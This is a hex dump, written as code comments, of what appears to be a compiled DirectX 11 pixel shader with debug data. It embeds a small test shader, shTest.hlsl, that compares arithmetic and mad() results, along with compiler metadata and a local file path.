// 0ec0: 00000000 00000000 00000000 00000000 ________________
// 0ed0: 00000000 00000000 00000000 00000000 ________________
// 0ee0: 00000000 53443344 00524448 00000100 ____D3DSHDR__.__
// 0ef0: 00000000 00000000 00000000 00000000 ________________
// 0f00: 00000000 00000000 60000020 00000000 ________ __`____
// 0f10: 00000000 00000000 00000000 00000000 ________________
// 0f20: 00000000 00000000 00000000 00000000 ________________
// 0f30: 00000000 00000000 00000000 00000000 ________________
// 0f40: 00000000 00000000 00000000 00000000 ________________
// 0f50: 00000000 00000000 00000000 00000000 ________________
// 0f60: 00000000 00000000 00000000 00000000 ________________
// 0f70: 00000000 00000000 00000000 00000000 ________________
// 0f80: 00000000 00000000 00000000 00000000 ________________
// 0f90: 00000000 00000000 00000000 00000000 ________________
// 0fa0: 00000000 00000000 00000000 00000000 ________________
// 0fb0: 00000000 00000000 00000000 00000000 ________________
// 0fc0: 00000000 00000000 00000000 00000000 ________________
// 0fd0: 00000000 00000000 00000000 00000000 ________________
// 0fe0: 00000000 00000000 00000000 00000000 ________________
// 0ff0: 00000000 00000000 00000000 00000000 ________________
// 1000: 00000000 00000000 00000000 00000000 ________________
// 1010: 00000000 00000000 00000000 00000000 ________________
// 1020: 00000000 00000000 00000000 00000000 ________________
// 1030: 00000000 00000000 00000000 00000000 ________________
// 1040: 00000000 00000000 00000000 00000000 ________________
// 1050: 00000000 00000000 00000000 00000000 ________________
// 1060: 00000000 00000000 00000000 00000000 ________________
// 1070: 00000000 00000000 00000000 00000000 ________________
// 1080: 00000000 00000000 00000000 00000000 ________________
// 1090: 00000000 00000000 00000000 00000000 ________________
// 10a0: 00000000 00000000 00000000 00000000 ________________
// 10b0: 00000000 00000000 00000000 00000000 ________________
// 10c0: 00000000 00000000 00000000 00000000 ________________
// 10d0: 00000000 00000000 00000000 00000000 ________________
// 10e0: 00000000 0003fa8f 00005ac6 0002f0e9 ____..._.Z__..._
// 10f0: 00020076 00001000 00000000 00000000 v_.__.__________
// 1100: 00000000 00000000 00000000 00000000 ________________
// 1110: 00000000 00000000 00000000 00000000 ________________
// 1120: 00000000 00000000 00000000 00000000 ________________
// 1130: 00000000 00000000 00000000 00000000 ________________
// 1140: 00000000 00000000 00000000 00000000 ________________
// 1150: 00000000 00000000 00000000 00000000 ________________
// 1160: 00000000 00000000 00000000 00000000 ________________
// 1170: 00000000 00000000 00000000 00000000 ________________
// 1180: 00000000 00000000 00000000 00000000 ________________
// 1190: 00000000 00000000 00000000 00000000 ________________
// 11a0: 00000000 00000000 00000000 00000000 ________________
// 11b0: 00000000 00000000 00000000 00000000 ________________
// 11c0: 00000000 00000000 00000000 00000000 ________________
// 11d0: 00000000 00000000 00000000 00000000 ________________
// 11e0: 00000000 00000000 00000000 00000000 ________________
// 11f0: 00000000 00000000 00000000 00000000 ________________
// 1200: 00000000 00000000 00000000 00000000 ________________
// 1210: 00000000 00000000 00000000 00000000 ________________
// 1220: 00000000 00000000 00000000 00000000 ________________
// 1230: 00000000 00000000 00000000 00000000 ________________
// 1240: 00000000 00000000 00000000 00000000 ________________
// 1250: 00000000 00000000 00000000 00000000 ________________
// 1260: 00000000 00000000 00000000 00000000 ________________
// 1270: 00000000 00000000 00000000 00000000 ________________
// 1280: 00000000 00000000 00000000 00000000 ________________
// 1290: 00000000 00000000 00000000 00000000 ________________
// 12a0: 00000000 00000000 00000000 00000000 ________________
// 12b0: 00000000 00000000 00000000 00000000 ________________
// 12c0: 00000000 00000000 00000000 00000000 ________________
// 12d0: 00000000 00000000 00000000 00000000 ________________
// 12e0: 00000000 616f6c66 6d203474 286e6961 ____float4 main(
// 12f0: 746e6975 3a206220 5f565320 6d697250 uint b : SV_Prim
// 1300: 76697469 2c444965 200a0d20 20202020 itiveID, ..
// 1310: 20202020 75202020 20746e69 203a2063 uint c :
// 1320: 435f5653 7265766f 2c656761 200a0d20 SV_Coverage, ..
// 1330: 20202020 20202020 75202020 20746e69 uint
// 1340: 203a2064 535f5653 6c706d61 646e4965 d : SV_SampleInd
// 1350: 20297865 5653203a 7261545f 30746567 ex) : SV_Target0
// 1360: 0a0d7b20 20202020 616f6c66 20612074 {.. float a
// 1370: 6328203d 62202b20 202a2029 0a0d3b64 = (c + b) * d;..
// 1380: 20202020 616f6c66 20652074 2063203d float e = c
// 1390: 2062202b 3b64202a 20200a0d 6c662020 + b * d;.. fl
// 13a0: 2074616f 203d2066 202a2063 202b2062 oat f = c * b +
// 13b0: 0a0d3b64 20202020 616f6c66 20672074 d;.. float g
// 13c0: 616d203d 2c632864 202c6220 0d3b2964 = mad(c, b, d);.
// 13d0: 200a0d0a 72202020 72757465 6c66206e ... return fl
// 13e0: 3474616f 202c6128 66202c65 2967202c oat4(a, e, f, g)
// 13f0: 7d0a0d3b 00000a0d 00000000 00000000 ;..}..__________
// 1400: 00000000 00000000 00000000 00000000 ________________
// 1410: 00000000 00000000 00000000 00000000 ________________
// 1420: 00000000 00000000 00000000 00000000 ________________
// 1430: 00000000 00000000 00000000 00000000 ________________
// 1440: 00000000 00000000 00000000 00000000 ________________
// 1450: 00000000 00000000 00000000 00000000 ________________
// 1460: 00000000 00000000 00000000 00000000 ________________
// 1470: 00000000 00000000 00000000 00000000 ________________
// 1480: 00000000 00000000 00000000 00000000 ________________
// 1490: 00000000 00000000 00000000 00000000 ________________
// 14a0: 00000000 00000000 00000000 00000000 ________________
// 14b0: 00000000 00000000 00000000 00000000 ________________
// 14c0: 00000000 00000000 00000000 00000000 ________________
// 14d0: 00000000 00000000 00000000 00000000 ________________
// 14e0: 00000000 effeeffe 00000001 0000019d ____.....___..__
// 14f0: 5c3a4c00 202b2b43 48746947 445c6275 _L:\C++ GitHub\D
// 1500: 63657269 31205874 6e452031 656e6967 irectX 11 Engine
// 1510: 31303220 68535c39 72656461 68535c73 2019\Shaders\Sh
// 1520: 72656461 53505c73 5468735c 2e747365 aders\PS\shTest.
// 1530: 6c736c68 3a6c0000 2b2b635c 74696720 hlsl__l:\c++ git
// 1540: 5c627568 65726964 20787463 65203131 hub\directx 11 e
// 1550: 6e69676e 30322065 735c3931 65646168 ngine 2019\shade
// 1560: 735c7372 65646168 705c7372 68735c73 rs\shaders\ps\sh
// 1570: 74736574 736c682e 6c66006c 3474616f test.hlsl_float4
// 1580: 69616d20 6975286e 6220746e 53203a20 main(uint b : S
// 1590: 72505f56 74696d69 49657669 0d202c44 V_PrimitiveID, .
// 15a0: 2020200a 20202020 20202020 6e697520 . uin
// 15b0: 20632074 5653203a 766f435f 67617265 t c : SV_Coverag
// 15c0: 0d202c65 2020200a 20202020 20202020 e, ..
// 15d0: 6e697520 20642074 5653203a 6d61535f uint d : SV_Sam
// 15e0: 49656c70 7865646e 203a2029 545f5653 pleIndex) : SV_T
// 15f0: 65677261 7b203074 20200a0d 6c662020 arget0 {.. fl
// 1600: 2074616f 203d2061 2b206328 20296220 oat a = (c + b)
// 1610: 3b64202a 20200a0d 6c662020 2074616f * d;.. float
// 1620: 203d2065 202b2063 202a2062 0a0d3b64 e = c + b * d;..
// 1630: 20202020 616f6c66 20662074 2063203d float f = c
// 1640: 2062202a 3b64202b 20200a0d 6c662020 * b + d;.. fl
// 1650: 2074616f 203d2067 2864616d 62202c63 oat g = mad(c, b
// 1660: 2964202c 0d0a0d3b 2020200a 74657220 , d);.... ret
// 1670: 206e7275 616f6c66 61283474 2c65202c urn float4(a, e,
// 1680: 202c6620 0d3b2967 0a0d7d0a 00000700 f, g);..}.._.__
// 1690: 00004600 00004500 00008a00 00000000 _F___E___.______
// 16a0: 00000000 00000000 00000100 00000400 _________.___.__
// 16b0: 00000000 00000000 00000000 00000000 ________________
// 16c0: 00000000 00000000 00000000 00000000 ________________
// 16d0: 00000000 00000000 00000000 00000000 ________________
// 16e0: 00000000 0130e21b 00000080 7877677b ____..0..___{gwx
// 16f0: 01d57954 00000001 00000000 00000000 Ty...___________
// 1700: 00000000 00000000 00000000 00000000 ________________
// 1710: 00000000 00000000 00000000 00000000 ________________
// 1720: 00000000 00000001 00000002 00000001 ____.___.___.___
// 1730: 00000001 00000000 00000046 00000028 ._______F___(___
// 1740: 0130e21b e942418c 00000112 00000001 ..0..AB...__.___
// 1750: 00000045 00000046 00000000 00000000 E___F___________
// 1760: 00000000 00000000 00000000 00000000 ________________
// 1770: 00000000 00000000 00000000 00000000 ________________
// 1780: 00000000 00000000 00000000 00000000 ________________
// 1790: 00000000 00000000 00000000 00000000 ________________
// 17a0: 00000000 00000000 00000000 00000000 ________________
// 17b0: 00000000 00000000 00000000 00000000 ________________
// 17c0: 00000000 00000000 00000000 00000000 ________________
// 17d0: 00000000 00000000 00000000 00000000 ________________
// 17e0: 00000000 00000000 00000000 00000000 ________________
// 17f0: 00000000 00000000 00000000 00000000 ________________
// 1800: 00000000 00000000 00000000 00000000 ________________
// 1810: 00000000 00000000 00000000 00000000 ________________
// 1820: 00000000 00000000 00000000 00000000 ________________
// 1830: 00000000 00000000 00000000 00000000 ________________
// 1840: 00000000 00000000 00000000 00000000 ________________
// 1850: 00000000 00000000 00000000 00000000 ________________
// 1860: 00000000 00000000 00000000 00000000 ________________
// 1870: 00000000 00000000 00000000 00000000 ________________
// 1880: 00000000 00000000 00000000 00000000 ________________
// 1890: 00000000 00000000 00000000 00000000 ________________
// 18a0: 00000000 00000000 00000000 00000000 ________________
// 18b0: 00000000 00000000 00000000 00000000 ________________
// 18c0: 00000000 00000000 00000000 00000000 ________________
// 18d0: 00000000 00000000 00000000 00000000 ________________
// 18e0: 00000000 00000004 113c0042 00000110 ____.___B_<...__
// 18f0: 000a0100 00840001 000a4563 00840001 _.._._._cE._._._
// 1900: 694d4563 736f7263 2074666f 20295228 cEMicrosoft (R)
// 1910: 4c534c48 61685320 20726564 706d6f43 HLSL Shader Comp
// 1920: 72656c69 2e303120 00000031 113d0036 iler 10.1___6_=.
// 1930: 736c6801 616c466c 30007367 31303478 .hlslFlags_0x401
// 1940: 736c6800 7261546c 00746567 355f7370 _hlslTarget_ps_5
// 1950: 6800305f 456c736c 7972746e 69616d00 _0_hlslEntry_mai
// 1960: 0000006e 1110002a 00000000 00000214 n___*_..____..__
// 1970: 00000000 000000b8 00000000 000000b8 ____._______.___
// 1980: 00001003 00000048 6da00001 006e6961 ..__H___._.main_
// 1990: 113e002a 00000075 00620001 00000000 *_>.u___._b_____
// 19a0: 00000000 00000000 00000000 00000000 ________________
// 19b0: 00000000 00000000 00000000 11500016 ____________._P.
// 19c0: 00010001 00040000 00000048 00b80001 ._.___._H___._._
// 19d0: 00000000 113e002a 00000075 00630001 ____*_>.u___._c_
// 19e0: 00000000 00000000 00000000 00000000 ________________
// 19f0: 00000000 00000000 00000000 00000000 ________________
// 1a00: 11500016 00010023 00040000 00000048 ._P.#_.___._H___
// 1a10: 00b80001 ffffff70 113e002a 00000075 ._._p...*_>.u___
// 1a20: 00640001 00000000 00000000 00000000 ._d_____________
// 1a30: 00000000 00000000 00000000 00000000 ________________
// 1a40: 00000000 11500016 00010001 00040000 ____._P.._.___._
// 1a50: 00000048 00b80001 00000010 113e003a H___._._.___:_>.
// 1a60: 00001002 6d3c0088 206e6961 75746572 ..__._<main retu
// 1a70: 76206e72 65756c61 0000003e 00000000 rn value>_______
// 1a80: 00000000 00000000 00000000 00000000 ________________
// 1a90: 00000000 00000000 11500016 00050002 ________._P.._._
// 1aa0: 00040000 00000048 00b80001 00000000 __._H___._._____
// 1ab0: 11500016 00050002 00040004 00000048 ._P.._._._._H___
// 1ac0: 00b80001 00000004 11500016 00050002 ._._.___._P.._._
// 1ad0: 00040008 00000048 00b80001 00000008 ._._H___._._.___
// 1ae0: 11500016 00050002 0004000c 00000048 ._P.._._._._H___
// 1af0: 00b80001 0000000c 00060002 000000f4 ._._.___._._.___
// 1b00: 00000018 00000001 56a80110 7b4a21b6 .___.___...V.!J{
// 1b10: c167a37d 81bcd8d9 00009957 000000f2 }.g.....W.__.___
// 1b20: 000000d8 00000000 00010001 00000100 ._______._.__.__
// 1b30: 00000000 00000010 000000cc 00000048 ____.___.___H___
// 1b40: 80000004 00000048 00000004 00000060 .__.H___.___`___
// 1b50: 80000004 00000060 00000004 00000080 .__.`___.___.___
// 1b60: 80000004 00000080 00000004 00000094 .__..___.___.___
// 1b70: 80000005 00000094 00000005 000000b4 .__..___.___.___
// 1b80: 80000005 000000b4 00000005 000000c8 .__..___.___.___
// 1b90: 80000006 000000c8 00000006 000000e8 .__..___.___.___
// 1ba0: 80000006 000000e8 00000006 000000fc .__..___.___.___
// 1bb0: 80000009 000000fc 00000009 001a0005 .__..___.___._._
// 1bc0: 00140010 001a0005 0019000f 001a0005 ._._._._._._._._
// 1bd0: 0019000b 00180005 0017000f 00180005 ._._._._._._._._
// 1be0: 0017000b 00180005 0017000f 00180005 ._._._._._._._._
// 1bf0: 0017000b 001e0005 001e0005 000000f6 ._._._._._._.___
// 1c00: 00000004 00000000 00000004 00000000 ._______._______
// 1c10: 00000000 00000000 00000000 00000000 ________________
// 1c20: 00000000 00000000 00000000 00000000 ________________
// 1c30: 00000000 00000000 00000000 00000000 ________________
// 1c40: 00000000 00000000 00000000 00000000 ________________
// 1c50: 00000000 00000000 00000000 00000000 ________________
// 1c60: 00000000 00000000 00000000 00000000 ________________
// 1c70: 00000000 00000000 00000000 00000000 ________________
// 1c80: 00000000 00000000 00000000 00000000 ________________
// 1c90: 00000000 00000000 00000000 00000000 ________________
// 1ca0: 00000000 00000000 00000000 00000000 ________________
// 1cb0: 00000000 00000000 00000000 00000000 ________________
// 1cc0: 00000000 00000000 00000000 00000000 ________________
// 1cd0: 00000000 00000000 00000000 00000000 ________________
// 1ce0: 00000000 0131ca0b 00000038 00001000 ____..1.8____.__
// 1cf0: 00001004 00000048 ffff000a 00000004 ..__H___._...___
// 1d00: 0003ffff 00000000 00000010 00000010 ..._____.___.___
// 1d10: 00000008 00000018 00000000 12010012 .___._______._..
// 1d20: 00000003 00000075 00000075 00000075 .___u___u___u___
// 1d30: 151b0016 00000040 00000004 6c660010 ._..@___.___._fl
// 1d40: 3474616f f1f2f300 1518000a 00001001 oat4_...._....__
// 1d50: 00010001 1008000e 00001002 00030017 ._._._....__._._
// 1d60: 00001000 00000000 00000000 00000000 _.______________
// 1d70: 00000000 00000000 00000000 00000000 ________________
// 1d80: 00000000 00000000 00000000 00000000 ________________
// 1d90: 00000000 00000000 00000000 00000000 ________________
// 1da0: 00000000 00000000 00000000 00000000 ________________
// 1db0: 00000000 00000000 00000000 00000000 ________________
// 1dc0: 00000000 00000000 00000000 00000000 ________________
// 1dd0: 00000000 00000000 00000000 00000000 ________________
// 1de0: 00000000 00000000 00000000 00000000 ________________
// 1df0: 00000000 00000000 00000000 00000000 ________________
// 1e00: 00000000 00000000 00000000 00000000 ________________
// 1e10: 00000000 00000000 00000000 00000000 ________________
// 1e20: 00000000 00000000 00000000 00000000 ________________
// 1e30: 00000000 00000000 00000000 00000000 ________________
// 1e40: 00000000 00000000 00000000 00000000 ________________
// 1e50: 00000000 00000000 00000000 00000000 ________________
// 1e60: 00000000 00000000 00000000 00000000 ________________
// 1e70: 00000000 00000000 00000000 00000000 ________________
// 1e80: 00000000 00000000 00000000 00000000 ________________
// 1e90: 00000000 00000000 00000000 00000000 ________________
// 1ea0: 00000000 00000000 00000000 00000000 ________________
// 1eb0: 00000000 00000000 00000000 00000000 ________________
// 1ec0: 00000000 00000000 00000000 00000000 ________________
// 1ed0: 00000000 00000000 00000000 00000000 ________________
// 1ee0: 00000000 0131ca0b 00000038 00001000 ____..1.8____.__
// 1ef0: 00001000 00000000 ffff000b 00000004 _.______._...___
// 1f00: 0003ffff 00000000 00000000 00000000 ..._____________
// 1f10: 00000000 00000000 00000000 00000000 ________________
// 1f20: 00000000 00000000 00000000 00000000 ________________
// 1f30: 00000000 00000000 00000000 00000000 ________________
// 1f40: 00000000 00000000 00000000 00000000 ________________
// 1f50: 00000000 00000000 00000000 00000000 ________________
// 1f60: 00000000 00000000 00000000 00000000 ________________
// 1f70: 00000000 00000000 00000000 00000000 ________________
// 1f80: 00000000 00000000 00000000 00000000 ________________
// 1f90: 00000000 00000000 00000000 00000000 ________________
// 1fa0: 00000000 00000000 00000000 00000000 ________________
// 1fb0: 00000000 00000000 00000000 00000000 ________________
// 1fc0: 00000000 00000000 00000000 00000000 ________________
// 1fd0: 00000000 00000000 00000000 00000000 ________________
// 1fe0: 00000000 00000000 00000000 00000000 ________________
// 1ff0: 00000000 00000000 00000000 00000000 ________________
// 2000: 00000000 00000000 00000000 00000000 ________________
// 2010: 00000000 00000000 00000000 00000000 ________________
// 2020: 00000000 00000000 00000000 00000000 ________________
// 2030: 00000000 00000000 00000000 00000000 ________________
// 2040: 00000000 00000000 00000000 00000000 ________________
// 2050: 00000000 00000000 00000000 00000000 ________________
// 2060: 00000000 00000000 00000000 00000000 ________________
// 2070: 00000000 00000000 00000000 00000000 ________________
// 2080: 00000000 00000000 00000000 00000000 ________________
// 2090: 00000000 00000000 00000000 00000000 ________________
// 20a0: 00000000 00000000 00000000 00000000 ________________
// 20b0: 00000000 00000000 00000000 00000000 ________________
// 20c0: 00000000 00000000 00000000 00000000 ________________
// 20d0: 00000000 00000000 00000000 00000000 ________________
// 20e0: 00000000 ffffffff f12f091a 00000008 ____....../..___
// 20f0: 00000208 00000001 00000001 00000000 ..__.___._______
// 2100: 00000000 00000000 00000000 00000000 ________________
// 2110: 00000000 00000000 00000000 00000000 ________________
// 2120: 00000000 00000000 00000000 00000000 ________________
// 2130: 00000000 00000000 00000000 00000000 ________________
// 2140: 00000020 00000000 00000000 00000000 _______________
// 2150: 00000000 00000000 00000000 00000000 ________________
// 2160: 00000000 00000000 00000000 00000000 ________________
// 2170: 00000000 00000000 00000000 00000000 ________________
// 2180: 00000000 00000000 00000000 00000000 ________________
// 2190: 00000000 00000000 00000000 00000000 ________________
// 21a0: 00000000 00000000 00000000 00000000 ________________
// 21b0: 00000000 00000000 00000000 00000000 ________________
// 21c0: 00000000 00000000 00000000 00000000 ________________
// 21d0: 00000000 00000000 00000000 00000000 ________________
// 21e0: 00000000 00000000 00000000 00000000 ________________
// 21f0: 00000000 00000000 00000000 00000000 ________________
// 2200: 00000000 00000000 00000000 00000000 ________________
// 2210: 00000000 00000000 00000000 00000000 ________________
// 2220: 00000000 00000000 00000000 00000000 ________________
// 2230: 00000000 00000000 00000000 00000000 ________________
// 2240: 00000000 00000000 00000000 00000000 ________________
// 2250: 00000000 00000000 00000000 00000000 ________________
// 2260: 00000000 00000000 00000000 00000000 ________________
// 2270: 00000000 00000000 00000000 00000000 ________________
// 2280: 00000000 00000000 00000000 00000000 ________________
// 2290: 00000000 00000000 00000000 00000000 ________________
// 22a0: 00000000 00000000 00000000 00000000 ________________
// 22b0: 00000000 00000000 00000000 00000000 ________________
// 22c0: 00000000 00000000 00000000 00000000 ________________
// 22d0: 00000000 00000000 00000000 00000000 ________________
// 22e0: 00000000 00000000 00000000 00000000 ________________
// 22f0: 00000000 00000000 00000000 00000000 ________________
// 2300: 00000000 00000000 00000000 00000000 ________________
// 2310: 00000000 00000000 00000000 00000000 ________________
// 2320: 00000000 00000000 00000000 00000000 ________________
// 2330: 00000000 00000000 00000000 00000000 ________________
// 2340: 00000000 00000000 00000000 00000000 ________________
// 2350: 00000000 00000000 00000000 00000000 ________________
// 2360: 00000000 00000000 00000000 00000000 ________________
// 2370: 00000000 00000000 00000000 00000000 ________________
// 2380: 00000000 00000000 00000000 00000000 ________________
// 2390: 00000000 00000000 00000000 00000000 ________________
// 23a0: 00000000 00000000 00000000 00000000 ________________
// 23b0: 00000000 00000000 00000000 00000000 ________________
// 23c0: 00000000 00000000 00000000 00000000 ________________
// 23d0: 00000000 00000000 00000000 00000000 ________________
// 23e0: 00000000 00000000 00000000 00000000 ________________
// 23f0: 00000000 00000000 00000000 00000000 ________________
// 2400: 00000000 00000000 00000000 00000000 ________________
// 2410: 00000000 00000000 00000000 00000000 ________________
// 2420: 00000000 00000000 00000000 00000000 ________________
// 2430: 00000000 00000000 00000000 00000000 ________________
// 2440: 00000000 00000000 00000000 00000000 ________________
// 2450: 00000000 00000000 00000000 00000000 ________________
// 2460: 00000000 00000000 00000000 00000000 ________________
// 2470: 00000000 00000000 00000000 00000000 ________________
// 2480: 00000000 00000000 00000000 00000000 ________________
// 2490: 00000000 00000000 00000000 00000000 ________________
// 24a0: 00000000 00000000 00000000 00000000 ________________
// 24b0: 00000000 00000000 00000000 00000000 ________________
// 24c0: 00000000 00000000 00000000 00000000 ________________
// 24d0: 00000000 00000000 00000000 00000000 ________________
// 24e0: 00000000 11250012 00000000 00000080 ____._%.____.___
// 24f0: 616d0001 00006e69 00000000 00000000 ._main__________
// 2500: ffffffff f12f091a 00000000 00000000 ....../.________
// 2510: 00000000 00000000 00000000 00000000 ________________
// 2520: 00000000 00000000 00000000 00000000 ________________
// 2530: 00000000 00000000 00000000 00000000 ________________
// 2540: 00000000 00000000 00000000 00000000 ________________
// 2550: 00000000 00000000 00000000 00000000 ________________
// 2560: 00000000 00000000 00000000 00000000 ________________
// 2570: 00000000 00000000 00000000 00000000 ________________
// 2580: 00000000 00000000 00000000 00000000 ________________
// 2590: 00000000 00000000 00000000 00000000 ________________
// 25a0: 00000000 00000000 00000000 00000000 ________________
// 25b0: 00000000 00000000 00000000 00000000 ________________
// 25c0: 00000000 00000000 00000000 00000000 ________________
// 25d0: 00000000 00000000 00000000 00000000 ________________
// 25e0: 00000000 00000000 00000000 00000000 ________________
// 25f0: 00000000 00000000 00000000 00000000 ________________
// 2600: 00000000 00000000 00000000 00000000 ________________
// 2610: 00000000 00000000 00000000 00000000 ________________
// 2620: 00000000 00000000 00000000 00000000 ________________
// 2630: 00000000 00000000 00000000 00000000 ________________
// 2640: 00000000 00000000 00000000 00000000 ________________
// 2650: 00000000 00000000 00000000 00000000 ________________
// 2660: 00000000 00000000 00000000 00000000 ________________
// 2670: 00000000 00000000 00000000 00000000 ________________
// 2680: 00000000 00000000 00000000 00000000 ________________
// 2690: 00000000 00000000 00000000 00000000 ________________
// 26a0: 00000000 00000000 00000000 00000000 ________________
// 26b0: 00000000 00000000 00000000 00000000 ________________
// 26c0: 00000000 00000000 00000000 00000000 ________________
// 26d0: 00000000 00000000 00000000 00000000 ________________
// 26e0: 00000000 00000010 00000000 00000000 ____.___________
// 26f0: 00000000 00000000 00000000 00000000 ________________
// 2700: ffffffff f12f091a 00000000 00000000 ....../.________
// 2710: 00000000 00000000 00000000 00000000 ________________
// 2720: 00000000 00000000 00000000 00000000 ________________
// 2730: 00000000 00000000 00000000 00000000 ________________
// 2740: 00000000 00000000 00000000 00000000 ________________
// 2750: 00000000 00000000 00000000 00000000 ________________
// 2760: 00000000 00000000 00000000 00000000 ________________
// 2770: 00000000 00000000 00000000 00000000 ________________
// 2780: 00000000 00000000 00000000 00000000 ________________
// 2790: 00000000 00000000 00000000 00000000 ________________
// 27a0: 00000000 00000000 00000000 00000000 ________________
// 27b0: 00000000 00000000 00000000 00000000 ________________
// 27c0: 00000000 00000000 00000000 00000000 ________________
// 27d0: 00000000 00000000 00000000 00000000 ________________
// 27e0: 00000000 00000000 00000000 00000000 ________________
// 27f0: 00000000 00000000 00000000 00000000 ________________
// 2800: 00000000 00000000 00000000 00000000 ________________
// 2810: 00000000 00000000 00000000 00000000 ________________
// 2820: 00000000 00000000 00000000 00000000 ________________
// 2830: 00000000 00000000 00000000 00000000 ________________
// 2840: 00000000 00000000 00000000 00000000 ________________
// 2850: 00000000 00000000 00000000 00000000 ________________
// 2860: 00000000 00000000 00000000 00000000 ________________
// 2870: 00000000 00000000 00000000 00000000 ________________
// 2880: 00000000 00000000 00000000 00000000 ________________
// 2890: 00000000 00000000 00000000 00000000 ________________
// 28a0: 00000000 00000000 00000000 00000000 ________________
// 28b0: 00000000 00000000 00000000 00000000 ________________
// 28c0: 00000000 00000000 00000000 00000000 ________________
// 28d0: 00000000 00000000 00000000 00000000 ________________
// 28e0: 00000000 ffffffff 01310977 00000001 ____....w.1..___
// 28f0: 8e00000d 5c3f000e 0000000f 0000004c .__.._?\.___L___
// 2900: 00000020 0000002c 00000050 00000000 ___,___P_______
// 2910: 00000000 00000016 00000019 00000000 ____.___._______
// 2920: 00000000 00000000 00000001 00000000 ________._______
// 2930: 00000100 60000020 00000000 00000000 _.__ __`________
// 2940: 00000000 00090002 00000218 00000000 ____._._..______
// 2950: 0000010c 00000001 029b8150 00000000 ..__.___P...____
// 2960: 00000000 6e69616d 6e6f6e00 00000065 ____main_none___
// 2970: f12eba2d 00000001 00000000 00000100 -....________.__
// 2980: 60000020 00000000 00000000 00000000 __`____________
// 2990: 00020002 00000007 00010000 ffffffff ._._._____._....
// 29a0: 00000000 00000100 00000208 00000000 _____.__..______
// 29b0: ffffffff 00000000 ffffffff 00010001 ....____....._._
// 29c0: 00010000 00000000 435c3a4c 47202b2b __._____L:\C++ G
// 29d0: 75487469 69445c62 74636572 31312058 itHub\DirectX 11
// 29e0: 676e4520 20656e69 39313032 6168535c Engine 2019\Sha
// 29f0: 73726564 6168535c 73726564 5c53505c ders\Shaders\PS\
// 2a00: 65546873 682e7473 006c736c effeeffe shTest.hlsl_....
// 2a10: 00000001 00000001 00000100 00000000 .___.____.______
// 2a20: 00000000 ffffff00 ffffffff 0cffffff _____...........
// 2a30: ffffff00 ffffffff 00ffffff 00000000 _.........._____
// 2a40: 00000000 00000000 00000000 00000000 ________________
// 2a50: 00000000 00000000 00000000 00000000 ________________
// 2a60: 00000000 00000000 00000000 00000000 ________________
// 2a70: 00000000 00000000 00000000 00000000 ________________
// 2a80: 00000000 00000000 00000000 00000000 ________________
// 2a90: 00000000 00000000 00000000 00000000 ________________
// 2aa0: 00000000 00000000 00000000 00000000 ________________
// 2ab0: 00000000 00000000 00000000 00000000 ________________
// 2ac0: 00000000 00000000 00000000 00000000 ________________
// 2ad0: 00000000 00000000 00000000 00000000 ________________
// 2ae0: 00000000 01312e94 5d94f52a 00000001 ____..1.*..].___
// 2af0: 5d30b69a 4a630e06 6bf0cfb5 f9dc0b8e ..0]..cJ...k....
// 2b00: 00000071 6e694c2f 666e496b 6e2f006f q___/LinkInfo_/n
// 2b10: 73656d61 72732f00 65682f63 72656461 ames_/src/header
// 2b20: 636f6c62 732f006b 662f6372 73656c69 block_/src/files
// 2b30: 5c3a6c2f 202b2b63 68746967 645c6275 /l:\c++ github\d
// 2b40: 63657269 31207874 6e652031 656e6967 irectx 11 engine
// 2b50: 31303220 68735c39 72656461 68735c73 2019\shaders\sh
// 2b60: 72656461 73705c73 7468735c 2e747365 aders\ps\shtest.
// 2b70: 6c736c68 00000400 00000600 00000100 hlsl_.___.___.__
// 2b80: 00001b00 00000000 00002200 00000800 _._______"___.__
// 2b90: 00001100 00000700 00000a00 00000600 _.___.___.___.__
// 2ba0: 00000000 00000500 00000000 3351dc00 _____._______.Q3
// 2bb0: 00000001 00000000 00000000 00000000 ._______________
// 2bc0: 00000000 00000000 00000000 00000000 ________________
// 2bd0: 00000000 00000000 00000000 00000000 ________________
// 2be0: 00000000 00000000 00000000 00000000 ________________
// 2bf0: 00000000 00000000 00000000 00000000 ________________
// 2c00: 00000000 00000000 00000000 00000000 ________________
// 2c10: 00000000 00000000 00000000 00000000 ________________
// 2c20: 00000000 00000000 00000000 00000000 ________________
// 2c30: 00000000 00000000 00000000 00000000 ________________
// 2c40: 00000000 00000000 00000000 00000000 ________________
// 2c50: 00000000 00000000 00000000 00000000 ________________
// 2c60: 00000000 00000000 00000000 00000000 ________________
// 2c70: 00000000 00000000 00000000 00000000 ________________
// 2c80: 00000000 00000000 00000000 00000000 ________________
// 2c90: 00000000 00000000 00000000 00000000 ________________
// 2ca0: 00000000 00000000 00000000 00000000 ________________
// 2cb0: 00000000 00000000 00000000 00000000 ________________
// 2cc0: 00000000 00000000 00000000 00000000 ________________
// 2cd0: 00000000 00000000 00000000 00000000 ________________
// 2ce0: 00000000 00000010 00000020 000000cd ____.___ ___.___
// 2cf0: 00000080 00000157 00000038 00000000 .___W.__8_______
// 2d00: 000001cd 00000080 00000112 0000032c ..__.___..__,.__
// 2d10: 00000018 00000000 00000028 00000220 ._______(___ .__
// 2d20: 0000002c 00000014 00000003 00000014 ,___.___.___.___
// 2d30: 0000000d 00000013 0000000e 00000009 .___.___.___.___
// 2d40: 0000000a 00000008 0000000b 0000000c .___.___.___.___
// 2d50: 00000007 00000006 0000000f 00000010 .___.___.___.___
// 2d60: 00000012 00000011 00000000 00000000 .___.___________
// 2d70: 00000000 00000000 00000000 00000000 ________________
// 2d80: 00000000 00000000 00000000 00000000 ________________
// 2d90: 00000000 00000000 00000000 00000000 ________________
// 2da0: 00000000 00000000 00000000 00000000 ________________
// 2db0: 00000000 00000000 00000000 00000000 ________________
// 2dc0: 00000000 00000000 00000000 00000000 ________________
// 2dd0: 00000000 00000000 00000000 00000000 ________________
// 2de0: 00000000 00000000 00000000 00000000 ________________
// 2df0: 00000000 00000000 00000000 00000000 ________________
// 2e00: 00000000 00000000 00000000 00000000 ________________
// 2e10: 00000000 00000000 00000000 00000000 ________________
// 2e20: 00000000 00000000 00000000 00000000 ________________
// 2e30: 00000000 00000000 00000000 00000000 ________________
// 2e40: 00000000 00000000 00000000 00000000 ________________
// 2e50: 00000000 00000000 00000000 00000000 ________________
// 2e60: 00000000 00000000 00000000 00000000 ________________
// 2e70: 00000000 00000000 00000000 00000000 ________________
// 2e80: 00000000 00000000 00000000 00000000 ________________
// 2e90: 00000000 00000000 00000000 00000000 ________________
// 2ea0: 00000000 00000000 00000000 00000000 ________________
// 2eb0: 00000000 00000000 00000000 00000000 ________________
// 2ec0: 00000000 00000000 00000000 00000000 ________________
